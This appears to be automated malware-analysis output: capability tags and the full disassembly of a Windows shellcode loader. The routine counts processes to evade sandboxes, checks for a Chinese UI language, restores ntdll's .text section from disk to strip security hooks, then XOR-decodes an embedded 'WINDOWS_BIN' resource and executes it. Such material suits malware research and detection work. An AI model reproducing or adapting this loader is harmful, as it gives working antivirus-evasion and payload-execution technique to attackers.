Function at 0x401040
Capabilities:
Allocate or change rwx memory
Encode data using xor
Enumerate processes
Execute shellcode via indirect call
Extract resource via kernel32 functions
Identify system language via api
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x4010bd
push 0x228
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 0x22c
push 0
push eax
call fcn.00402240
add esp, 0xc
lea eax, [ebp - 0x238]
xor esi, esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x401330
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
lea eax, [ebp - 0x238]
inc esi
push eax
push edi
call ebx
test eax, eax
jne 0x4010a5
cmp esi, 0x3c
jle 0x401330
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov ecx, 0x3ff
and ax, cx
cmp ax, 4
jne 0x40131c
push str.Chinese
call fcn.00401010
add esp, 4
mov dword [ebp - 0x23c], 0
xorps xmm0, xmm0
movq qword [ebp - 0x244], xmm0
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0xc
lea ecx, [ebp - 0x244]
mov dword [ebp - 0x258], eax
push ecx
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov ebx, dword [ebp - 0x244]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push str.c:windows_system32_ntdll.dll
mov dword [ebp - 0x248], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0
push 0
push 0x1000002
push 0
push eax
mov dword [ebp - 0x250], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
push 0
push 4
push eax
mov dword [ebp - 0x254], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, dword [ebx + 0x3c]
xor esi, esi
add edi, ebx
mov dword [ebp - 0x24c], eax
xor eax, eax
cmp ax, word [edi + 6]
jae 0x401230
nop dword [eax + eax]
movzx eax, si
lea ecx, [eax + eax*4]
movzx eax, word [edi + 0x14]
add eax, edi
lea ebx, [eax + ecx*8]
mov eax, str..text
lea ecx, [ebx + 0x18]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4011c7
test dl, dl
je 0x4011c3
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4011c7
add ecx, 2
add eax, 2
test dl, dl
jne 0x4011a7
xor eax, eax
jmp 0x4011cc
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401225
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebx + 0x24]
add eax, dword [ebp - 0x248]
push 0x40
push dword [ebx + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebx + 0x20]
mov eax, dword [ebp - 0x24c]
add eax, dword [ebx + 0x24]
push eax
mov eax, dword [ebp - 0x248]
add eax, dword [ebx + 0x24]
push eax
call fcn.00402cc0
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
mov eax, dword [ebx + 0x24]
push dword [ebx + 0x20]
add eax, dword [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc esi
cmp si, word [edi + 6]
jb 0x401190
push dword [ebp - 0x250]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x254]
call esi
push dword [ebp - 0x258]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push str.WINDOWS_BIN
push 0x65
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 4
push 0x1000
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
mov ebx, eax
push edi
push ebx
call fcn.00402cc0
add esp, 0xc
xor ecx, ecx
test esi, esi
je 0x4012f9
cmp esi, 0x40
jb 0x4012ec
movaps xmm2, xmmword [str.9999999999999999]
lea eax, [ebx + 0x20]
mov edx, esi
and edx, 0xffffffc0
movups xmm0, xmmword [eax - 0x20]
lea eax, [eax + 0x40]
add ecx, 0x40
movaps xmm1, xmm2
xorps xmm0, xmm2
movups xmmword [eax - 0x60], xmm0
movups xmm0, xmmword [eax - 0x50]
xorps xmm1, xmm0
movups xmmword [eax - 0x50], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [eax - 0x40]
xorps xmm1, xmm0
movups xmmword [eax - 0x40], xmm1
movups xmm0, xmmword [eax - 0x30]
xorps xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
cmp ecx, edx
jb 0x4012b0
cmp ecx, esi
jae 0x4012f9
xor byte [ebx + ecx], 0x39
inc ecx
cmp ecx, esi
jb 0x4012f0
lea eax, [ebp - 0xc]
push eax
push 0x20
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401338
mov esp, ebp
pop ebp
ret
push str.Error
call fcn.00401010
add esp, 4
push 1
call fcn.004044bb
push 1
call fcn.004044bb
int3